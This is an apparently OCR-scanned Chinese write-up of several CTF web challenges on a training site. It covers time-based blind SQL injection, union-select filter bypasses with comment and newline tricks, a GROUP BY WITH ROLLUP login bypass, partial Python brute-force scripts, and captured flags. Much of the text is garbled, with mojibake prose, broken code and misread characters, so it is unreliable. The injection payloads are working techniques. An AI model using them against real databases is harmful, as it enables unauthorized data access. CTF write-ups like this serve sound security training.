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BT HBRBERBEx-forwarded-forRiHITHEN. @WK, , UREHEFK ARSI, XHSHIERMN
FEGIENBRIRR T, XEMUMFEHcase when theni&A)HFITHEN.
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5 —

I BIREELHEKE 1' and case when (length ( (SELECT concat (database())))&lt;5) then
sleep(3) else sleep(0) end and '1'='1, WAIMRPITEER, WHHPBEELHRDNTFINER, £
Fslt; ARIBHE, BATAEDY, ULBAEIE EKE AN F5/F.

I W B A B, &quot;1l' and case when (substring((select database()) from %s
for 1)='%s') then sleep(5) else sleep(0) end and 'l'='lsquot;% (i, each), Hii INEi
FRHME for LRAM—ANER, eachNascii, MILA) AT A WIEHEE 4 Hweba

BEHEEDRENKBE, 1' and case when ((select count (TABLE NAME) from
information schema.tables where table schema='web4') = 2) then sleep(3) else

sleep (0) end and '1'='1; lWAIHIMIBIREDEHRA L.
HWHEERLKE, &quot;1' and case when(substring((select group concat (table name

separator ';') from information_schema.tables where table schema='web4') from %s for
1)='"') then sleep(6) else 0 end and 'a'='asquot; % (i), HFiNKE.

. HAWBIEERAZ, squot;1l' and case when(ascii (substring((select group_concat (table name

separator ';') from information schema.tables where table schema='web4') from %s for
1))=%s) then sleep(6) else 0 end and 'a'='a&quot; % (i,each), HEFiiNNFEINERFHIE for
LN —/NERF, eachNascii, REIFXfLlag.

HWrRAagF B, squot;1' and case when(ascii (substring((select group_concat (column_ name
separator ';') from information schema.columns where table name='flag') from %s for
1))=%s) then sleep(6) else 0 end and 'a'='a&quot; % (i,each), %?U?Eﬁflago

¥Uﬁ9ﬁﬁﬂag, ?Eﬁﬂagqﬂfiﬁé‘r’ﬁ}i, &quot;1l' and case when (length (substring((select
group_concat (flag separator ';') from flag) from %$s for 1))='"') then sleep(6) else O
end and 'a'='a&quot; %io

giﬁlﬂagﬁ, &quot;1l' and (select case when (substring((select flag from flag ) from %d
for 1 )='%s') then sleep(l0) else sleep(0) end ) and 'l'='l&quot;%(i,str)o.
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\#-*-coding:utf-8-*-#&Fpython2.7

import requests

import string

import time

url="http://ctf5.shiyanbar.com/web/wonderkun/index.php" payloads="abcdefghijklmnopqrstuvwxyz0123456789@_.{}

RIERZ LA, B~ | THZIR, 4 1E#H.
ctf{cdbf14c9551d5be5612f7bb5d2867853}

4 -

is:cdbf14¢c9551d5be5612f7bb5d286
is:cdbf14c9551d5be5612f7bb5d2867
is:cdbf14c9551d5be5612f7bb5d28678
is:cdbf14c9551d5be5612f7bb5d286785
is:cdbf14¢9551d5be5612f7bb5d2867853

[Finally] current flag is cdbf14c9551d5be5612f7bb5d2867853
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fife B R %
Eﬁﬁi?ﬁ@k!——source: source.txt-->, %%@j{#:

<?php
error_reporting(0);

if (!isset($_POST['uname']) || !isset($_POST['pwd'])) { echo '<form action="" method="post">'."<br/>"; echo

MUERLEERE T =M



1. $filter = "and|select|from|where|union|join|sleep|benchmark]|, |\(|\)";
2. if (mysql_num_rows($query) == 1) { 3. if($key['pwd'] == $_POST['pwd']) {

BB, EAFE - ANHMERTRT —WFAFE, HREHTOEAH THEZ/RHEIET, MARES
o, L1 or "1 #%id.

FANERAFPBEALERERFT A, BEEMEHERL or 1 limit 1 offset 0 #&%id,
FEAERRE - NMNFEHNEREFowd FRENAF RN FBowd—8, MR, MREfag. XNPLA]
U\iﬁi‘—ﬂiﬁﬁgroup by with rollupiﬁﬁliﬁﬁ%ﬂ, with rollupﬂ‘”’ﬁ)ﬂ%%?ﬁmﬁ“ﬁ, FHESIH3
KRB ibnull=null, %%t payloadl' or 1 group by pwd with rollup limit 1 offset 2#,
A LLE Bloffset/5H A T2, FRFgourp by F B Npwd, XFIFH Twith roolupHI—/AMEtE, Hoffsetlmi
NIt A% BB —%+18, BRSFIHERE—%NEER, HENAHEARENHARK, AiTpwdtl TER
AHANE, mysqlEis i Tnull, XEERESHE T Hi3.

GROUP BY¥4] fa ¥ — A4 84T ¥ In 2 &7 B 461 HH o WITH ROLLUP &4 . X BATRR R B (BUR RE) RIS RIE.
ROLLUP [ 58 ¥ R 7E 2 /2 4397 B A B IB1 5 5% 1) # B 1) B . B R Wl DAE A ROLLUP, ‘B B8 F — AN 1 # 3R BEXUZ 43
o ¥—4> WITH ROLLUPE 4 I 2IGROUP BY i&4), fElf=4 R —1T4R, T 2R T A EHKSNE:
mysql> SELECT year, SUM(profit) FROM sales GROUP BY year WITH ROLLUP;

Femmeee e —— +

| year | SUM(profit) |

Femeeee e —— +

| 2000 | 4525 |

| 2001|3010 |

| NULL | 7535 |
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e B aRHR, XMER—BFN RS ETEM T BIMAS, SRS, /**/,/*1*/, $0al#RAT A
S =g, HH—A

payload, id=1'+union%0aselect/**/flag/**/from/**/flag/**/where/**x/'1'="1,
flag{YOu_@r3_50_dAmn_900d}
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ID: 1' union
select/**/flag/**/from/**/flag/**/where/**/'1'="1
name: baloteli

ID: 1' union
select/**/flag/**/from/**/flag/**/where/**/'1'="1
name: flag{¥Ou_@r3_50_dAmn 9004}

v 1&ER DEdle OBFER (I HIRER O MaE @ HackBar  » B e X

& Load URL http://ctf5.shiyanbar.com/423/web/?id=1'+union%0aselect/**/flag

/**/from/**/flag/**/where/**/'1'="1
1 Split URL

E t
) Execute Post data | Referrer (| User Agent " Cookies

e —MRBTHE R

payload, id=1'+union%0aselect/**/TABLE NAME/**/from/**/information schema.tables/*

&« @ (O ctf5.shiyanbar.com/423/web/?id=1"+union B e Y » =

allic: VdlulLcTdl.dl

ID: 1' union
select/**/table_name/**/from/**/information_schema.tabl¢
name: CHARACTER_SETS

ID: 1' union
select/**/table_name/**/from/**/information_schema.tabl¢
name: COLLATIONS

ID: 1' union
select/**/table_name/**/from/**/information_schema.tabl«
name: COLLATION_ CHARACTER SET APPLICABILITY

x DO EER H&Ha OBEdE () #XRES8 O Mt @ HackBar » H e X



@ Load URL http://ctf5.shiyanbar.com/423/web/?id=1'+union%0aselect

/**/TABLE_NAME/**/from/**/information_schema.tables/**/where
i split URL P2
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You have an error in your SQL syntax; check the manual tk

7L E #ik



HEEKmysqliEA
#X: flag{}

fife 5L FB %
ME—R, FXHNFRZXEREGIIHET s0a, Al
payload, id=1%27/**/union+select/**/flag/**/from/**/flag/**/where/**/%271%27=%271o

& @ (O ctf5.shiyanbar.com/web/index_2.php?id=1 B e Py » =

flag
BRTIE T HARE?
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ID: 1'/**/union select/**/flag/**/from/**/flag/**/where,
name: baloteli
ID: 1'/**/union select/**/flag/**/from/**/flag/**/where,

name: flag{YOu @r3 50 dAmn 9004}

x DO EER H#&EHa OBEWdE () #XRER O Mt @ HackBar » H e X

@& Load URL http://ctf5.shiyanbar.com/web/index_2.php?id=1%27
/**/union+select/**/flag/**/from/**/flag/**/where/**/%271%27=%271
i split URL
VY
»  Execute

| Postdata [ | Referrer (| User Agent| ' Cookies

flag{YOu_@r3_50_dAmn_900d}
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¥R flag{}
fife 5L JB %

I B 3 Fsqimaprl DLE BB H R, FNBESH TIREEAN(XZYT), WA T updatexml. extractvaluef A~
T, BRMRKid=1" and ascii(substr(database(),1,1))&lt;200 --+, RIATLIEHEHIIT. FHE
MASH I £BE, R, 57T, A& Hwho are you? 77, 45 HIATHIA:



# coding:
import
import
string =
flag = []
FLAG =

def POC(x,1i): url = 'http://ctf5.shiyanbar.com/web/index_3.

url
url
url
url
url

url
url
url
url
flag{YQu_@r3_50_dAmn_900d}

flag{YOu_@r3_50_dAmn_900d}

utf-8

requests
string

string.digits+string.ascii_lowercase

False

thttp://ctf5.
thttp://ctf5.
thttp://ctf5.
chttp://ctf5.
:http://ctf5.
thttp://ctf5.
thttp://ctf5.
thttp://ctf5.
thttp://ctf5.

shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.
shiyanbar.

KT BRI MERA B

com/web/index_3.
com/web/index_3.
com/web/index_3.
com/web/index_3.
com/web/index_3.
com/web/index_3.
com/web/index_3.
com/web/index_3.
com/web/index_3.

php?id=1"and
php?id=1"'and
php?id=1"and
php?id=1"'and
php?id=1"and
php?id=1"and
php?id=1"and
php?id=1"and
php?id=1'and

php?id=' poc = "1'and ascii(substr((select flag

ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select
ascii(substr((select

flag
flag
flag
flag
flag
flag
flag
flag
flag

= E) ]
flag),27,1))=120--+
flag),27,1))=121--+
flag),27,1))=122--+
flag),27,1))=123--+
flag),27,1))=124--+
flag),27,1))=125--+
flag),27,1))=126--+
flag),27,1))=127--+
flag),27,1))=128--+
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[ ] 3 X ctf5.shiyanbar.com/web/10/10.php X

& @ (O ctf5.shiyanbar.com/web/10/10.php B e P » =

can you do it more faster?There is no martial art is indefectible, while the fastest speed
is the only way for long success.
>>>>>>----You must do it as fast as you can!----<<<<<<

x DO EES H#&Ha OBEdE () #XRESR O Mt @ HackBar » H e X

@& Load URL http://ctf5.shiyanbar.com/web/10/10.php

i split URL

E t - - B
y) Bxecute Post data [ | Referrer (| User Agent (| Cookies

Post Data key=1
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ERHEBELEMNIES<! -- please post what you find with parameter:key -->, #ZXkey=1,

SRRk W B

t

Raw | Params | Headers | Hex

Raw | Headers | Hex

POST /web/10/10.php HTTP/1l.1

{Host: ctf5.shiyanbar.com
|User—-Agent: Mozilla/5.0 (Macintosh;
jrv:61.0) Gecko/20100101 Firefox/61.0
Accept:
text/html,application/xhtml+xml,application/xml;g=0.9,*/*;q
i=0.8

Accept-Language:
zh-CN,zh;gq=0.8,2zh-TW;g=0.7,2zh-HK;g=0.5,en-US;g=0.3,en;gq=0.2

Intel Mac O0S X 10.13;

{Accept-Encoding: gzip, deflate

(Referer: http://ctf5.shiyanbar.com/web/10/10.php
rContent—Type: application/x-www-form-urlencoded
Content-Lengths: 5

Cookie:

|Hm_1vt 34d6£7353ab0915a4c582e4516dffbec3=1530840464;
jHm_cv_34d6£7353ab0915a4c582e4516dffbec3=1*visitor*154661%2Cn
ickName%3A%E8%B0%81%E7%9A%84%E5%90%8A%E6%9C%80%E5%A4%A7
DNT: 1

iConnection: close

|Upgrade-Insecure—-Requests: 1

Pragma: no-cache

Cache-Control: no-cache

ikey=l

T

HTTP/1.1 200 OK

Date: Mon, 09 Jul 2018 09:09:46 GMT

Server: Apache/2.4.18 (Win32) OpenSSL/1.0.2e PHP/5.3.29
X-Po =Dy+: PHP/ 3329

FLAGI UDBTVFOUSELITX1QwXONINESHRVIGTDRHO1Zual0c2MldJaA==
Cont . &
Connection:
Content-Type:

close
text/html

can you do it more faster?There is no martial art is
indefectible, while the fastest speed is the only way for

long success.</br>>>>>>>----You must do it as fast as you
can!-—-—-<<<<<<</br>
<!-- please post what you find with parameter:key -->

UDBTVF9USE1TX1QwXONINESHRVIGTDRHOL Zua0c2M1ldJar==fF1L )5

JNPOST THIS TO CHANGE FL4G:VnkG63WIh, IR¥EREHRR

# coding:utf8
import requests
import base64

url = "http://ctf5.shiyanbar.com/web/10/10.php" # H#FRURL response =

ibPRIESRSZ, MEEGHARHEITREZT .

requests.post(url,data={"key":"1"}) # 1

50_% & B _POSTE R python run.py
<Response [200]>

rHwKM9cMJ

CTF{YOU_4R3_1INCR3D1BL3_F4ST!}

CTF{YOU 4R3_1NCR3D1BL3 F4ST!}

#8, T https://www.cnblogs.com/beijibing/p/10393310.html
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